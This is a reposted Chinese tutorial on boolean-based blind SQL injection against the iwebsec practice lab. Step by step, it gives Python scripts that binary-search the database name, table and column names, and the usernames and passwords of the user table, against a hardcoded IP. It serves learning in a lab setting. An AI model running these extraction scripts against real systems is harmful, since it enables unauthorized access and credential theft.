SQL注入漏洞 | bool型

news2025/1/16 6:49:27

文章目录

      • 前言
      • MySQL bool型

前言


  • SQL注入漏洞 | iwebsec
  • SQL注入漏洞 | 数字型
  • 参考文章
  • 文章所涉及的脚本代码,可以自己动手敲一次,增进理解,形成自己的SQl注入脚本,以后可以不断复用。

MySQL bool型


  1. 随便试试看回显
    在这里插入图片描述

    在这里插入图片描述

  2. bool注入原理

    我们可以利用回显内容来猜测数据库的内容和信息。
    比如,我们猜测数据库名的长度,length(database())=3。如果数据库名长度真的是3,则length(database())=3这个表达式是真的,则为1;如果数据库名长度不为3,则length(database())=3这个表达式是假的,则为0。因此我们只需要看数据库的回显反应即可,如果回显了,说明我们猜对了,如果不回显则说明我们猜错了。

    在这里插入图片描述
    一个个试,到7就回显了,说明我们猜数据库长度为7是对的。
    在这里插入图片描述

  3. 一个个试太麻烦,我们可以编写脚本帮我们做重复性的东西。

    import requests
    
    url = "http://8.134.148.36:8001/sqli/03.php"
    
    
    def DBlen():
        for i in range(20):
            payload = url + "?id=1 and length(database())={}".format(i)
            response = requests.get(url=payload)
            if "welcome to iwebsec!!!" in response.text:
                print("数据名长度为", i)
    
    DBlen()
    

    在这里插入图片描述

  4. MID() 函数

    用于从文本字段中提取字符。
    在这里插入图片描述

    ord() 函数

    以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。
    在这里插入图片描述

  5. 我们继续猜数据库名,一位位地猜。猜数据名的第1位为a,将a转成ASCII码为97,则ord(mid((select database()),1,1))=97
    在这里插入图片描述

    继续猜 ord(mid((select database()),1,1))=105
    在这里插入图片描述
    第一位猜出来了,接着猜第二位是啥。人工试太慢了,我们继续写脚本。

    # 利用二分法
    def DBname():
        result = ""
        for i in range(20):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select database()),{},1))>{}".format(i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名为", result)
    

    在这里插入图片描述

  6. 接下来猜iwebsec数据库的表名。
    ord(mid((select database()),1,1))=97中的database换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
    即为ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=95
    在这里插入图片描述
    猜出一位
    在这里插入图片描述
    还是继续用脚本吧

    def DBtable():
        result = ""
        for i in range(30):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(
                    i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表名为", result)
           
    

    在这里插入图片描述

  7. 继续测列名。
    ord(mid((select database()),1,1))=97中的database换成列名group_concat(column_name) from information_schema.columns where table_name=user
    即为ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),1,1))=97

    在这里插入图片描述
    继续上脚本

    def DBcolumn():
        result = ""
        for i in range(30):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),{},1))>{}".format(
                    i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表的列为", result)
    

    在这里插入图片描述

  8. 最后猜一下每个列的值
    ord(mid((select database()),1,1))=97中的database换成字段group_concat(id,'--',username,'--',password,'--') from user
    即为 ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),1,1))=97
    在这里插入图片描述
    继续上脚本

    def Getdata():
        result = ""
        for i in range(100):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),{},1))>{}".format(i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表的列为", result)
    

    在这里插入图片描述

  9. 总脚本

    https://pan.baidu.com/s/1VxBWd_vk4-faOv5J6PUVdA?pwd=xxxi 
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/44933.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

毕业设计 单片机LSRB算法的走迷宫小车 - 嵌入式 stm32

文章目录0 前言1 简介2 主要器件3 实现效果4 硬件设计马达驱动器(L298N)Mpu 605060 RPM 直流电机红外传感器Arduino Pro mini5 软件说明“LSRB”算法6 最后0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&a…

小米三季报:手机不振,汽车加码

配图来自Canva可画 ​如果将2022年第一季度的滑落视作气温转冷的话&#xff0c;那么小米的冬天已经持续了三个季度了。 小米不久前发布的2022年第三季度财报显示&#xff0c;小米在第三季度营收、毛利、调整后利润或多或少地都在下降&#xff0c;经营利润更是“扭盈为亏”&am…

Spring Boot Admin 监控指标接入Grafana可视化

其他相关文章&#xff1a; Spring Boot Admin 参考指南SpringBoot Admin服务离线、不显示健康信息的问题Spring Boot Admin2 EnableAdminServer的加载Spring Boot Admin2 AdminServerAutoConfiguration详解Spring Boot Admin2 实例状态监控详解Spring Boot Admin2 自定义JVM监控…

智慧环卫管理系统解决方案(垃圾分类)

1.1 垃圾分类管理子系统 1.1.1 公众参与互动平台 可为客户量身打造微信公众号&#xff0c;搭建互动交流的平台&#xff0c;更好的调动居民参与垃圾分类的热情。 1.1.1.1 分类指导 将目前城市的垃圾处理情况、垃圾分类现状、分类的意义&#xff0c;以数据来说明垃圾分类的…

MyBatis 源码解读 一讲到底

序言 前面大概的介绍了一下mybatis的一些东西&#xff0c;那么现在我们来解析一下Mybatis的源码&#xff0c;就从demo开始 Testpublic void TestExample() throws IOException {String resource "mybatis-config.xml";InputStream inputStream Resources.getResou…

人才资源开发杂志人才资源开发杂志社人才资源开发编辑部2022年第21期目录

开卷有益《人才资源开发》投稿&#xff1a;cnqikantg126.com 年轻干部要走好成长成才之路 赖宁; 1 特别关注 迎难而上 勇担重任 推进河南人事考试高质量发展 常万琦; 6-7 工作要闻 第五届中国河南招才引智创新发展大会开幕 归欣 ;张笑闻; 8 河南省12家企业和2个…

ceph 线程池分析

ceph 线程池 1. WHY 线程过多会带来调度开销&#xff0c;进而影响缓存局部性和整体性能。而线程池维护着多个线程&#xff0c;等待着监督管理者分配可并发执行的任务。这避免了在处理短时间任务时创建与销毁线程的代价。线程池不仅能够保证内核的充分利用&#xff0c;还能防止…

从ChargePoint到能链智电,充电服务商的价值创新

近日&#xff0c;吉林长春出租车雨雪之中排队换电艰难的视频引起热议。 新能源汽车充换电困难&#xff0c;一方面说明电池在寒冷天气下的性能有优化空间&#xff0c;另一方面也反映出国内新能源汽车配套基础设施仍然存在较大需求缺口。 充电基础设施建设对新能源汽车推广意义…

LabView 总结 持续追加

波形图和波形图表 波形图是同时将所有要显示的点显示出来&#xff0c;接收的数据是数组&#xff0c;当然要显示多条曲线&#xff0c; 波形图表在具有波形图的功能上还有逐点显示&#xff0c;接收数据是一个数值 条件结构 可以用于枚举、字符串、数值 当需要连接两个端点时&a…

[附源码]计算机毕业设计springboot二手书店设计论文

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 Ma…

聚苏丹红Ⅲ膜/磺化聚醚醚酮膜/ SiO2/Ag纤维复合材料修饰多巴胺的研究

小编在这里给大家整理了聚苏丹红Ⅲ膜/磺化聚醚醚酮膜/ SiO2/Ag纤维复合材料修饰多巴胺的研究&#xff0c;一起来看看吧&#xff01; 聚苏丹红Ⅲ膜修饰多巴胺的研究&#xff1a; 目的建立测定盐酸多巴胺注射液 含量的电化学分析新方法.方法采用循环伏安法研究盐酸多巴胺在膜修饰…

面试汇总-MySQL-杂项

目录 1、悲观锁和乐观锁 2、数据库关键字的执行顺序是什么&#xff1f; 3、SQL优化 3.1、如何进行sql优化&#xff1f; 3.2、常见的join算法 3.2.1、Hash Join 3.2.2、Merge Join 3.2.3、Nested Loop Join 3.3、Join前后表的数据量对查询性能有什么影响&#xff1f; …

云原生架构实践前言

开场白 每个开发人员都可以拥有自己私有的 DEV 环境&#xff0c;方便在业余时间进行探索尝试&#xff0c;学习新的技术&#xff0c;拓宽知识面&#xff0c;保持技术敏感性&#xff0c;不至于被日新月异的快速变革所匆匆淘汰。 自身实力过硬&#xff0c;即使身处激烈的竞争环境&…

猿如意开发工具|python3.10

目录 写在前面 正文 官网 python3.10 下载 总结 写在前面 因为我的电脑系统是32位的&#xff0c;而猿如意要64位&#xff0c;所以&#xff0c;我没法下载&#xff0c;在此&#xff0c;我就只好评论一下python3.10这个软件和猿如意官网。 正文 官网 首先&#xff0c;…

使用Nacos作为配置中心

目录 一&#xff0c;配置中心简介 Nacos Config入门 二&#xff0c;nacos差异化配置 三&#xff0c;nacos共享配置 同一个微服务的不同环境之间共享配置 不同微服务中间共享配置 四&#xff0c;nacos的命名空间&组 nacos的几个概念 创建命名空间(Namespace) 组 一…

压测工具nGrinder:性能测试入门

1 前言 nGrinder将Grinder的控制台和代理包装起来&#xff0c;并扩展了支持多个并发测试的特性。用户可以设置使用多个进程或线程来并发的执行该脚本&#xff0c;通过不断重复地执行测试脚本&#xff0c;来模拟多并发用户访问。 2 相应参数配置 (1)输入需要测试的url地址&…

STM32实战总结:HAL之看门狗

在由单片机构成的微型计算机系统中&#xff0c;单片机的工作常常会受到来自外界电磁场的干扰&#xff0c;造成程序的跑飞&#xff0c;而陷入死循环&#xff1b;或者因为用户配置代码出现BUG&#xff0c;导致芯片无法正常工作。出于对单片机运行状态进行实时监测的考虑&#xff…

java面试强基(14)

Java 中 IO 流分为几种? 按照流的流向分&#xff0c;可以分为输入流和输出流&#xff1b;按照操作单元划分&#xff0c;可以划分为字节流和字符流&#xff1b;按照流的角色划分为节点流和处理流。 Java IO 流共涉及 40 多个类&#xff0c;这些类看上去很杂乱&#xff0c;但实…

[附源码]计算机毕业设计springboot病房管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

跨国并购数据库:SDC跨国数据库、Thomson数据库、A股上市公司并购数据库等多指标数据(4W+)

&#xff08;1&#xff09;SDC跨国数据库 1、数据来源&#xff1a;WRDS沃顿数据库Thomson Reuters SDC - Mergers and Acquisitions板块 2、时间跨度&#xff1a;1982年1月1日至2020年12月31日 3、区域范围&#xff1a;全国 4、指标说明&#xff1a; 数据的所有并购方都为…